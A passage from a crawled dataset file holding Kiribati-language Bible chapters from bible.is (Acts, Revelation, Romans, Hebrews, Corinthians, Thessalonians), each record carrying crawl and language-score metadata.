15Bwa bon i bukimi baikai ni kabane; ao ngkai a bati riki aomata aika a kamaiuaki n ana aakoi te Atua, ao a na kabatii riki tataro ni katituaraoi ibukin neboan te Atua. 16Ma ngaia ae a aki bwara nanora; bwa ngkana e tabe ni mamaara aomatara ae i aora, ma e boni kakorakoraaki aomatara ae i nanora n te bong ae koraki. 17Bwa rawaawatara ngkai ae e beebete e na uotira nakon te mimitong ae e raka arona ae e aki tootoki ae akea aroni kabootauana. 18Bwa ti aki taratarai baika a noonooraki, ma ti taratarai baika a aki noonooraki; bwa baika a noonooraki a kai toki, ma baika a aki noonooraki a aki tootoki.\n2 KORINTO 4","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/4","date":"2014-03-13T18:12:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678678233\/warc\/CC-MAIN-20140313024438-00024-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":493,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.489,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"16Ao iai te kaokoro i marenan te bwai n tituaraoi ma ana bure te aomata ae temanna: bwa i mwiin te bure ae teuana ao e roko te moti ni kabuaakaka; ma i mwiini buure aika a bati ao e roko te bwai n tituaraoi are motikan taekam bwa ko aki bure.\nROM 5:16\nFREE!\nOne App.\n1349 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5\/16","date":"2014-03-08T13:37:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999654613\/warc\/CC-MAIN-20140305060734-00045-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":57,"character_repetition_ratio":0.117,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.509,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao e kakoauaa Tauro bwa e bon riai kamatean Tetebano. E korakora bwainikiriinaia kaain te ekaretia i Ierutarem; ao a bane ni kamaaeaki nako kaaina nako aon te aba are Iutaia ma Tamaria, ma a aki kamaaeaki taan tuatua. 2Iai aomata aika a onimakina te Atua, aika a uota nako rabwatan Tetebano n taunna, ao a karaoa te tanginiwenei ae e bati i aona. 3Ma Tauro e kataia n urua te ekaretia: e rin i nanon auti nako ni katikiia nako kaain te ekaretia aika mwaane ma aine, ao e kaakiia i nanon te karabuuti. 4A nako n taabo nako taan onimaki ake a kauamaaeaki nako n tataekina ana taeka te Atua. 5Ma e nako Biribo nakon te kaawa are Tamaria, ao e taekina te Kristo nakoia aomata iai. 6A bane nanoia aomata nakoni baike e taekini Biribo, ngke a ongoraa irouna, ao a noori kanikina ake e karaoi. 7Bwa a oti nako anti aika a kamwaraa mai irouia aomata aika a bati ake a taniaki irouia, ao a takaarua irouia aomata aikai n te bwanaa ae e korakora; ao a kamaiuaki aomata aika a bati, aika a mate bwain rabwataia, ma aika a mwauku. 8Ma ngaia ae e bati te kimwaareirei irouia kaain te kaawa arei. 9E maeka n te kaawa arei te aomata temanna, ae arana Timon. E a maan teuaei ni bwaina te tabunea, ao e aki toki ni kamiimiiia I-Tamaria n ana tabunea. E taku bwa te aomata ngaia ae e kakannato, 10ao a bane n ongo irouna aomata nako, ake a mangori ma ake a kakannato. A taku, Boni mwaakan te Atua teuaei are e aranaki bwa te Mwaaka ae e Korakora. 11Ao a ongo irouna ibukina bwa e a boni maan arona ni kakamiimiiia n ana tabunea. 12Ma ngke a kakoauaa Biribo n ana rongorongo aika a raraoi ake e taekin ibukin uean te Atua ma aran Iesu Kristo, ao a bwaabetitooaki, mwaane ma aine. 13Ao Timon e kakoauaa naba Biribo; ao ngke e a tia ni bwaabetitooaki, ao e a titiku naba i rarikini Biribo, ao boni moan te miimii ngaia ngke e noori kanikina ma mwakuri ni kamiimii ake a karaoaki. 14Ngke a ongo taan tuatua ake a mena i Ierutarem bwa a onimakina ana taeka te Atua I-Tamaria, ao a kanakoa Betero ma Ioanenakoia; 15Ngke a roko uaakekei irouia, ao a tataro ibukia bwa a na anganaki te Taamnei are e Raoiroi. 16Bwa akea irouia ae e a tia n roko irouna te Taamnei are e Raoiroi; ma a ti bwaabetitooaki naba n aran te Uea are Iesu. 17A katokai baiia ngkanne Betero ma Ioane i aoia, ao a anganaki te Taamnei are e Raoiroi. 18Ngke e nooria Timon bwa a anganaki te koraki arei te Taamnei are e Raoiroi ngke a katokai baiia taan tuatua i aoia, ao e angani Betero ma Ioane te mwane, ao e kaangai, 19Anganai naba te mwaaka anne, bwa e aonga n anganaki ane I katokaa baiu i aona te Taamnei are e Raoiroi. 20Ma e taku Beteronakoina, E na mauna ma n akea boonganan am mwane, ao ai arom naba, ngkai ko taku n am iango bwa e konaaki ni karekeaki ana bwai n tituaraoi te Atua n te mwane! 21Akea nakoam ao akea tibwangam n te baei, bwa e aki eti nanom i matan te Atua. 22Ma ngaia ae ko na raira nanom n raraoma ibukin am iango ane e reke iroum anne, ao butiia te Atua bwa tao E na kabwaraa buren am iango anne, ngkana arona. 23Bwa I ataiko bwa te aomata ngkoe ae ko on n te bakantang, ao ko mena i aani mwaakan te buaakaka. 24Ao e kaeka Timon ni kaangai, Tataro nakon te Uea i bukiu, bwa e na aki rikinakoiu te bwai teuana ni baikana kam atong. 25Ma ngaia aei, ngke a a tia ni kaotioti uaakekei, ma n taekina ana taeka te Uea, ao a okira Ierutarem; a tataekina te euangkerio ni kaawan Tamaria aika a bati i aoni kawaia n oki. 26E taetae ana anera te Uea nakoni Biribo, ao e kaangai, Katauraoiko bwa ko na nako aiaki, nakon te kawai are e wairio mai Ierutarem nako Kata: aei te kawai n te rereua. 27Ao ngaia e katauraoia, ao e nako. Ao nooria, te aomata temanna, ae te I-Itiobia, ae te iunaki, ae e rietaata nakoana irouni Kantake, are te uea n aine i Itiobia, ae te tia kaawakinimwiin ana bwai nako neierei aika a kakaawaki, e a tia n roko i Ierutarem bwa e taromauri iai, 28ao e a tabe ni waaki i aoni kawaina n oki; e tekateka i aon ana ka, ni wareka ana boki te buraabeti are Itaia. 29Ao E taku te Taamnei are e Raoiroi nakoni Biribo, Ko na nako n airi ma te kaa arei. 30Ao e biri Biribo ni kaea mwiin te kaa arei, ao ngke e roko i rarikina, ao e ongo bwanaan te iunaki arei ngke e wareka ana boki te buraabeti are Itaia. Ao e taku Biribonakoina, Ko ataa nanon ane ko warekia? 31Ao ngaia e taku, N na kangaa n ataia ngkana akea ae e kabwarabwaraa nanonanakoiu? Ao e butiia Biribo bwa e na tamwarake n tekateka i rarikina. 32Ao aio taekani mwakoron te Baibara are e wareware iai Ai aron te tiibu are e kairaki bwa e na kamateaki; ai aron te tiibu te teei are e kainabwaabu i matan ane e korea buraena; akea bwanaana ae e oti nako mai wina. 33Ngke e karinanoaki, ao e aki rekenakoina te motiki-taeka ae e raoiroi; ao antai ae e na kaoti taekaia ana kariki? kariki,\" \"kaotitaekan aroia ana kariki bwa a bubuaka.\" Bwa e a tia n toki maiuna i aon te aba. 34E titiraki ngkanne te iunaki nakoni Biribo ao e kaangai, I butiiko bwa e taekina aei te buraabeti ibukin antai? I bukina, ke ibukin temanna? 35Ao e waakina ana karaki Biribo n taekina Iesu, ao e moanna mani kabwarabwaraan nanon taeka n te mwakoro ni Baibara anne. 36Ao ngke a waakina kawaia, ao a roko n te tabo ae iai te ran iai; ao e taku te iunaki, Noria, kai aei te ran; tera ae e tuukai bwa N na aki bwaabetitooaki? 38E tua ngkanne te iunaki bwa e na tei te ka; ao e ruo ma Biribo nako nanon te ran, ao e bwaabetitooaki irouni Biribo. 39Ngke a aerake man te ran, ao E kairaki nako Biribo iroun Taamnein te Uea, ao e aki manga nooria te iunaki, bwa e waakina kawaina ma te kimwaareirei. 40E roko Biribo i Atoto; ao e tataekina te euangkerio ni kaawa ni kabane, ao e toki i Kaitareia.\nMWAKURI 8","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/8","date":"2014-03-08T04:28:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999653077\/warc\/CC-MAIN-20140305060733-00081-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1105,"character_repetition_ratio":0.052,"word_repetition_ratio":0.002,"special_characters_ratio":0.234,"stopwords_ratio":0.455,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke a mena Bwauro ma Bwarenaba i Ikonio, ao a nako ni mwaneabaia I-Iutaia, ao a taetae n te aro are a onimaki iai I-Iutaia ma I-Erene aika a rangi ni bati. 2Ma I-Iutaia ake a aki onimaki a kakiriweei nanoia aomata ake tiaki I-Iutaia, ao a kananobuakaiia nakoia taari akekei. 3Ma ngaia are a kamaaniia Bwauro ma Bwarenaba ni maeka i Ikonio, n tataekina taekan te Uea ma te ninikoria. Ngke a karaoa aei, ao a anganaki iroun te Uea te konaa ni karaoi kanikina ma mwakuri ni kamiimii bwa ana bwai ni kakoaua ibukin aia taeka are a taekinna ibukin ana aakoi bwa e koaua. 4E a riki te iraraaure irouia kaain te kaawa arei: a tei temwaangina i bukiia I-Iutaia, ao temwaangina a tei i bukiia taan tuatua. 5A reke nanoia I-Iutaia ma ake tiaki I-Iutaia ma aia tia tau-taeka nako bwa a na bwainikiriina Bwauro ma Bwarenaba ma ni karebanaiia. 6Ngke a ataia ao a biri nako nakoni kawaan Rukaonia, are Rutetera ma Rerebe, ao nakoni kaawa nako ake a kaani ma ngaiia, 7ao a tataekina te euangkerio iai. 8E tekateka te aomata temanna i Rutetera, ae a mamaara waena; e mwauku mai nanoni biroton tinana, ao e tuai man nakonako. 9E ongoraa irouni Bwauro ngke e taetae; ao Bwauro e katokai matana n taraia, ao e ataia bwa iai irouna te onimaki are e konaaki ni kamaiuaki iai, 10ma ngaia are e kanenea bwanaana ao e kaangai, Tei rake kaetiko i aoni waem. Ao ngaia e ewe rake, ao e nakonako. 11Ngke a noora te baere e karaoia Bwauro aomata, ao a kanene bwanaaia n taetae n taetaen Rukaonia, ao a kaangai, A ruo nakoira anti aika ai aroia aomata. 12A arana Bwarenaba bwa Tiuti, ao Bwauro bwa Eremiti ngkai ngaia are e bwaina te kakarabakau. 13E roko ngkanne ana ibonga Tiuti ma uotana kaue, ma kaao mwaane aika e kairiia nakoni mataroani kawai n rin nakon umwantabun Tiuti, are e tei ni kaan ma te kaawa i tinanikuna. E kan anga karea ma aomata. 14Ngke a ongo taan tuatua ake Bwarenaba ma Bwauro taekani baike a nang karaoi aomata, ao a raei kunnikaia, ao a biribiri i buakoia aomata n tatakaarua, 15ni kaangai, Mwaane, kam aera ngkai kam karaoi baikai? Bon aomata naba ngaira aika ai aromi, ao ti tuangkami te rongorongo ae e raoiroi, bwa kam na rairaki mani baika akea boonganaia nakon te Atua are e maiu, are e karaoa karawa ma aonnaba, ma marawa, ma bwaai ni kabane ake a mena i nanoia. 16I nanon rooro ake rimoa, ao E aki tuutuukiia bootanaomata nako mani karaoani baike a tangiri; 17ma e boni ngae n anne, ao E a tia ni kaotiota arona n Atua ni baika a raraoi ake E karaoi: bwa E anganingkami te karau mai karawa ma boong ake a uaa iai kai n amwarake; E anganingkami kanami, ao E kaon nanomi n te kimwaareirei. 18A boni ngae n tabeki taeka aika ai aron akekei taan tuatua, ma a kuri n aki konaia aomata n tukiia bwa a na aki anga karea. 19Iai I-Iutaia tabemwaang aika a roko mai Antioka, ao mai Ikonio n anai nanoia aomata. A karebanaa Bwauro, ao a uaakinna nako tinanikun te kaawa, bwa a taku bwa e a mate. 20Ma ngke a tei reirei n otabwaniniia, ao e tei rake, ao e nako n te kawa; ao ngke e a ingabong, ao e nako ma Bwarenaba nako Rerebe. 21Ngke a a tia Bwauro ma Bwarenaba n taekina te euangkerio i Rerebe, ma ni karikiia aomata aika a bati iai bwa taan onimakina Iesu, ao a oki nako Rutetera, ao Ikonio, ao Antioka, 22ni kakorakorai nanoia taan onimaki, ao ni buokiia bwa a na botumwaaka n onimaki, ao a kaangai, Ti riai n ri nanon rawaawata aika a bati bwa ti aonga n rin n Uean te Atua. 23A rineiia temwaangina n te ekaretia teuana bwa unimwaanen te ekaretia anne, ao a karaoa aron aei i nanon ekaretia nako; ao ni katoaa te tai are a tia ni karaoa iai aei, ao a aki mamatam, ao a tataro i bukiia bwa a na kaawakinaki iroun te Uea, are a onimakinna. 24A mwananga ngkanne Bwauro ma Bwarenaba n ri nuukani Bitiria, ao a roko i Bamburia. 25Ao ngke a a tia n taekina ana taeka te Atua i Bereke, ao a wairio nako Ataria; 26ao a borau maiai nako Antioka, ike a a tia ni mwiokoaki iai rimoa nako nanoni bain te Atua, bwa a na kairaki n ana aakoi ibukin te mwakuri are a a tia ngkai ni karaoia. 27Ao ngke a roko i Antioka, ao a bootiia kaain te ekaretia, ao a karakini bwaai ni kabane ake E karaoi te Atua irouia, ma arona ngke E kauka mataroan te onimaki nakoia aomata aika tiaki I-Iutaia. 28Ao a tiku ni maan irouia ake a onimakina Iesu.\nMWAKURI 14","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/14","date":"2014-03-17T17:07:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678705768\/warc\/CC-MAIN-20140313024505-00050-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":812,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.436,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 9:2323Ma ngaia ae e riai bwa a na kaitiakaki baike katootoon oi ni bwai ake i karawa n te aro anne. Ma bwaini karawa a tangiri aaro n angakarea aika a raraoi riki nakon aikai. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/9\/23","date":"2014-03-16T01:25:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678700738\/warc\/CC-MAIN-20140313024500-00092-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":0.9999983311,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.9999983310699463}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.294,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E kaeti matana Bwauro n taraia kaain te Tanirim, ao e taku, Taari, I a tia ni maiu i matan te Atua ma mataniwiin nanou ae e itiaki ni karokoa te bong aei. 2Ao e anga ana taeka Anania are aia mataniwi ibonga nakoia ake a tei i rarikini Bwauro, bwa a na orea wina. 3Ao e taku ngkanne Bwauronakoina, E nang oroiko te Atua, ngkoe ae te o te bono ae e kamainainaaki: bwa ko tekateka ni motika taekau ni kaeti ma taekan te Tua, ao ko ri aon te Tua ngkai ko tua bwa N na oreaki! 4Ao a taku ake a tei i rarikini Bwauro, Ko taetae n iowawa nakon te ibonga ae te mataniwi ae ana ibonga te Atua? 5Ao e taku Bwauro, Taari, I aki ataia ae ngaia aia mataniwi ibonga; bwa e koreaki ae e kaangai, Ko na aki tabeki taeka aika a bubuaka bwa taekan temanna ae e tau-taeka i aoia am bootanaomata. 6Ngke e ataia Bwauro bwa Tarukaio temwaangina, ao Bwaritaio temwaangina, ao e kanenea ngkanne bwanaana i mataia kaain te Tanirim, ni kaangai, Mwaane, taari, bon te Bwaritaio ngai, ae natiia Bwaritaio. E kaboowiiaki taekau ikai ibukin te kaantaninga ae irou ae a na manga maiu maate. 7Ngke e a atonga aei Bwauro, ao e a riki naba te kauntaeka irouia Bwaritaio ma Tarukaio; ao a uamaae n aia iango kaain te kaboowi. 8Bwa a taku Tarukaio bwa akea te manga-maiu, ao akea anera ma taamnei; ma a taku Bwaritaio bwa iai baikai ni kabane. 9Ao e riki te takaarua ae e korakora; a tei rake taani koroboki temwaangina ake raoia Bwaritaio, ao a kauntaeka, ao a taku, Akea aron teuaei ae e buaakaka ae ti kunea. E aki ngkoa ao tao e a tia n taetaenakoina te taamnei ke te anera! 10Ngke e riki te kauntaeka ae e korakora, ao e maakuia aomata aia mataniwi tautia bwa a kaawa n raebitia Bwauro; ma ngaia are e tuangiia tautia bwa a na ruo n anaa Bwauro mai buakoia, ao a na kairia nako nanoni nneia tautia are e matoatoa. 11Ngke e a bong, ao E tei te Uea i rarikini Bwauro, ao E taku, Ko na ninikoria! Bwa ngkai ko a tia ni kaotioti i bukiu i Ierutarem, ao ko na manga karaoia naba i Rom. 12Ngke e a ngaina, ao a karekea aia iango ni kamwarua I-Iutaia temwaangina: a taetae ni bau bwa a na aki amwarake ma ni mooi ni karokoa ae a tia ni kamatea Bwauro. 13E raka i aon angaun mwaitiia aomata ake a kaboo nanoia n te aro anne. 14Ao a nako ni kawariia ibonga ake mataniwi ma unimwaane, ao a taku, Ti a tia ni kabaeiira n ara taeka ni bau bwa ti na bon aki amwarake ni karokoa ae ti a tia ni kamatea Bwauro. 15Ma ngaia aei, kam na kanakoa ngkai ami taeka ma kaain te Tanirim nakon aia mataniwi tautia, bwa e aonga ni kaira rio Bwauronakoimi, bwa aongkoa kam kan ri nanoa riki taekana n te aro ae e eti; ao ngaira ti na tauraoi ni kamatea i mwaain rokona ni kaaningkami. 16Ngke e ongo natini mwaaneni Bwauro ae a na kamwarua Bwauro, ao e nako n rin ni nneia tautia are e matoatoa n tuanga Bwauro. 17Ao e wetea temanna irouia mataniwi n te taanga ni buaka are tebubua kaaina Bwauro, ao e taku, Ko na kaira te roronga aei nakon aia mataniwi tautia, bwa iai ana taeka ae e na tuangnga. 18Ma ngaia are e kairia nakon aia mataniwi tautia, ao e taku, E weteai te bure are Bwauro ao e butiai bwa N na kaira te roronga aeinakoim, bwa iai te bae e na tuangko. 19E taua bain te roronga arei aia mataniwi tautia, ao e kairia nako ni kaokoroiia n ti ngaiia, ao e a titirakinna ngkanne ni kaangai, Tera am taeka ane ko na tuangai? 20Ao ngaia e taku, A kaboo nanoia I-Iutaia bwa a na butiiko bwa ko na kaira rio Bwauro ningabong nakoia kaain te Tanirim, bwa aongkoa are a na ukoukora riki aroni kaetan taekana. 21Ma ngaia ae ko na aki iri nanoia: bwa angaun tabun te aomata i buakoia te koraki arei akana a tataninga ni karabaiia bwa a na kamwarua Bwauro; aikai te koraki ake a a tia ni kabaeaki n aia berita bwa a na aki amwarake ma ni mooi ni karokoa ae a a tia ni kamatea Bwauro; ao ae a tauraoi ngkai ni kaantaninga te taeka mai iroum. 22E kanakoa ngkanne te roronga arei aia mataniwi tautia, ao e tuangnga ni kaangai, Ko na aki tuanga te aomata temanna ae ko taekini baikainakoiu. 23E weteiia ngkanne uomani mataniwi n te taanga ni buaka are tebubua kaaina teuare aia mataniwi tautia, ao e taku, Kam na katauraoia uabubua tautia, ma itingaun tautia aika a tootoka i aoia aoti, ma uabubua tautia aika taani buaka n te kainiwai, bwa a na nako Kaitareia n te aoa ruaiwa n te tairiki aei; 24ao katauraoiia maan bwa a na katokaa Bwauro i aoia, bwa a aonga ni karokoa raoi irouni Berika are te tia tau-taeka. 25Ao e korea te reta aia mataniwi tautia, ae e kaangai taekana: 26Mai irouni Keraurio Rutia nakoni Berika, ae te tia tau-taeka ae moan te kakannato, 27Ko na mauri! E tauaki te aomata aei irouia I-Iutaia, ao e kuri ni kamateaki irouia; ngke I ataia bwa te I-Rom, ao I nako ma tautia ni kamaiua. 28Ngke I kan ataa bukin are a kabuaakakaa iai, ao I kairia nakon aia kaboowi; 29ao I ataia iai bwa e kabuaakakaaki ni baika a kaeti ma taekan aia Tua, ma akea bukinana ae e riai kamateana iai ke kabaeana iai. 30Ao ngke I tuangaki bwa e nang kamwaruaaki te aomata aei irouia I-Iutaia tabemwaang, ao I kawaetataa ni kanakoanakoim, ao I tuangiia naba ake a kabuaakakaa bwa a na taekini baike a bukinna iai i matam. 31Ma ngaia are a karaoa tuangaia tautia: a taua Bwauro ao a kairia e bong nako Antibateri. 32Ngke e a ingabong, ao a oki tautia nakoni nneia are e matoatoa, ma ti tautia ake a tootoka i aoia aoti aika a tiku n raona Bwauro ni mwananga. 33Ngke a roko i Kaitareia, ao a anga te reta nakon te tia tau-taeka, ao a anga naba Bwauronakoina. 34Ngke e tia ni wareka te reta te tia tau-taeka, ao e titiraki bwa kaain te tabo ra Bwauro. Ngke e ataia bwa te I-Kirikia, 35ao e taku, I a ongoraa iroum ngkana a roko ake a bukiniko. Ao e anga ana taeka bwa e na kaawakinaki Bwauro n ana Beritorium Erote.\nMWAKURI 23","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/23","date":"2014-03-08T13:19:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999654610\/warc\/CC-MAIN-20140305060734-00080-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1104,"character_repetition_ratio":0.065,"word_repetition_ratio":0.005,"special_characters_ratio":0.23,"stopwords_ratio":0.442,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Te boki aei bon taekan ana kaotioti Iesu Kristo, are E anganaki iroun te Atua, bwa E na kaotia nakoia ana toro. Kanoan te kaotioti aei bon taekani baika a na waetata n roko. E kaoti baikai Kristo iroun ana anera are E kanakoa nakon ana toro ae Ioane, 2are e taekini bwaai ni kabane ake e a tia n noori, are ana taeka te Atua ma te koaua are E kaotiotia Iesu Kristo. 3E a kabwaia ane e wareki taeka ni buraabeti aikai, ao a a kabwaia naba akana ongo, akana kaawakini baika a koreaki i nanon te boki aio; bwa e a kaan te tai are a na riki iai baikai. 4Mai iroun Ioane nakoia ekaretia ake itiua ake i Atia: Ami bwai te aakoi ma te raoi mai iroun Teuare bon iai ngkai, ao iai ngkoa, ao iai rimwi n aki toki; ami bwai naba te aakoi ma te raoi mai irouia taamnei ake itiman ake a meemena i nanoaan ana kaintokanuea; 5ao ami bwai naba te aakoi ma te raoi mai iroun Iesu Kristo, are e kakaonimaki, are te moani kamaiuaki mai buakoia maate are E manga maiu mai buakoia maate, ao are aia Mataniwi ueea i aonnaba. E tangiriira, ao E kainaomataira man ara bure ni matena; 6ao E karaoira bwa ibonga n ueana, aika taani beku iroun Atuana ma Tamana: ana bwai te neboaki ma te mwaaka n tau-taeka n aki toki. Amene. 7Noria, E nangi nako mai Kristo ma naang; ao a na bane maata n nooria, ao uaake a ewaria a na nooria naba; ao a na bane n tang aomata nako i aonnaba ibukin te baere e karaoaki nakoina. Eng, Amene. 8E taku te Uea ae te Atua ae Moan te Mwaaka, ae iai ngkai, ao iai ngkoa, ao iai rimwi n aki toki, Boni Ngai te Moa ao te Toki. 9Ngai ae Ioane, ae tarimi, ae raomi n uaia n rawaawata ma ni kaaina ueani Kristo ma ni bwaina te nanomwaaka ngkai ti reitaki ma Iesu, I mena i aon te abamwakoro ae Bwatemoti, ibukin ana taeka te Atua ao ibukin naba te koaua are E tataekinna Iesu. 10I mena i aani mwaakan ana kairiiri te Taamnei n ana bong te Uea, ao I ongo te bwanaa ae e korakora, mai akuu, ae kaanga tangin te bu, 11ae e kaangai, Ane ko nooria ao ko na koroia n te boki, ao ko na kanakoa te boki anne nakoia ekaretia ake itiua n taabo aikai: Ebeto, Temurena, Barekamo, Tuateira, Tareteiti, Biraterebia, ao Raorikeia. 12Ao I rairaki bwa N na taraa te aomata are e taetae nakoiu, ao I noori itiai kain-tei n taura aika koora, ma taura i aoia n tatabeua nako; 13ao i nuuka i buakoni kain-tei n taura aikai iai temanna ae ai aron taraan natin te aomata ae e kunnikaia n te kunnikai ae e toki mwarairaina i aon raurauni waena, ao e kabaeaki bwaabwaana n te bwai ni kabaebae ae te koora. 14Ao moanibaan te mainaina atuuna ma iranatuna; ao matana ai aron taraan uran te ai, 15ao waena ai aron taraan te buraati ae e raneanea ae e a tia ni kaburoaki ni kaitiakaki n te ai ae e ura mwaaka; ao bwanaana ai aroni karongoaani bwaron naao aika a bati, 16ao e tau itoi aika itiua i nanoni baina are ataina, ao e oti nako mai wiina te kabaang ae e kakang ae uaitera wina; ao taraan ubuna ai aron taai ae e korakora riringana. 17Ngke I nooria ao I katorobubua ni bobaraaki i rarikini waena n ai aron te mate; ao E kaaki baina are ataina i aou, ao E kaangai, Tai maku! Boni Ngai te Moa ao te Toki. 18Teuare e Maiu Ngai; I mate ngkoa, ao nooria, I a manga maiu n aki toki, ao bon iai irou kiingin te mate ma kiingin Eriti. 19Ma ngaia ae ko na koroi taekani baika ko noori, aika baika a riki ngkai, ma baika a na riki rimwi. 20Ao aio te kaantaninga ae e raba ae e nanonaki n itoi ake itiua, ake ko noori i nanoni baiu ae ataiu, ma kain-tei n taura ake koora ake a tei ma taura i aoia n tatabeua nako: Itoi ake itiua bon aia anera ekaretia ake itiua; ao kain-tei n taura ma taura i aoia n tatabeua nako bon ekaretia ake itiua.\nTE KAOTIOTI 1","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/1","date":"2014-03-15T02:31:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678695535\/warc\/CC-MAIN-20140313024455-00010-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":727,"character_repetition_ratio":0.054,"word_repetition_ratio":0.006,"special_characters_ratio":0.236,"stopwords_ratio":0.42,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngkana E roko ara Uea are Iesu Kristo, ao ti na bane n ikotaki n uotaki rake nakoina; ma ngaia ae I butingkami, taari, 2bwa kam na tai kamwaeieiaki n ami iango, ao kam na tai kakiriweeaki irouia aomata aika a taku bwa e a tia n roko ana bong te Uea. A konaa n taku bwa tao a ongo aei mai iroun te Taamnei are e Raoiroi, ke mai iroun temanna, ke a boni warekia n ara reta teuana. 3E na tai burebureingkami temanna n te aro teuana: bwa e bon aki konaa n roko te bong arei ngkana e tuai n roko moa te tai are a na eekaanako iai te Atua aomata aika a bati, ao ngkana e tuai ni kaoti teuare e buaakaka, are kanan te mate. 4E na ekiia nako akana a atongaki bwa atua ni kabaneia ma baika a taromauriiaki, ao e na rin n tekateka n umwantabun te Atua ma n taetae ni kaotia bwa aongkoa te Atua ngaia. 5Kam aki uringnga bwa ngke I mena iroumi ao I tuangkami baikai? 6Ao kam bon ataa te bwai ae e tuutuuka teuare e buaakaka bwa e aonga ni kaotaki n ana tai. 7Bwa e a kamani waaki te mwakuri n riri-aon te tua n te aro ae e aki konaaki ni kabwarabwaraaki raoi taekana; ma te baere e na riki e na aki konaa n riki ni karokoa e uotaki nako teuare e tutuutuukia bwa e na aki riki, 8ao i mwiina ngkanne, e na kaotaki teuare e te tia ri aon te tua, are e na kamateaki iroun te Uea are Iesu n ikeni wina, ma ni kamaunaaki ni mimitongin rokona. 9E na roko te tia ri aon te tua ma mwaakan Tatan ao e na karaoi taiani kanikina ma kamiimii ni kewe. 10Ao e na kamanenaai aaro ni mwaamwanaa i ni kabane aika a buaakaka nakoia te koraki ake a nangi boni mate, ibukin aroia n rawa n anganaki tangiran te koaua are a na kamaiuaki iai. 11Ma ngaia ae te Atua E kanakoa mwaakan te kaairua bwa e na mwamwakuri i nanoia bwa a aonga ni kakoauaa te kewe; 12ao bwa a aonga ni bane n atongaki bwa a bure akana a rawa nakon te koaua, ma a kukurei n te buaakaka. 13Ma e riai, taari, bwa ti na katituaraoa te Atua n taai nako i bukimi, ngkami akana kam tangiraki iroun te Uea, ibukina bwa E a ti n rineingkami te Atua bwa moan aomata 14E weteingkami nakon aei te Atua n te euangkerio are ti taekinna, bwa kam aonga ni buokanibwai ma ara Uea are Iesu Kristo n neboakina. 15Ma ngaia ae kam na tei matoa, taari, ao kam na tauu taian taeka ake kam reireiaki iai, tao n ara taeka, ke tao n ara reta; 16ao ara Uea are Iesu Kristo ma te Atua ae Tamara are e tangiriira, ma n akoira n anganiira kabeebetean te nano ae e aki toki, ma te kaantaninga ae e raoiroi, 17E na kaninikoriai ma ni kateimatoai nanomi ni mwakuri ni kabane aika a raraoi, ma taeka nako aika a raraoi.\n2 TETARONIKE 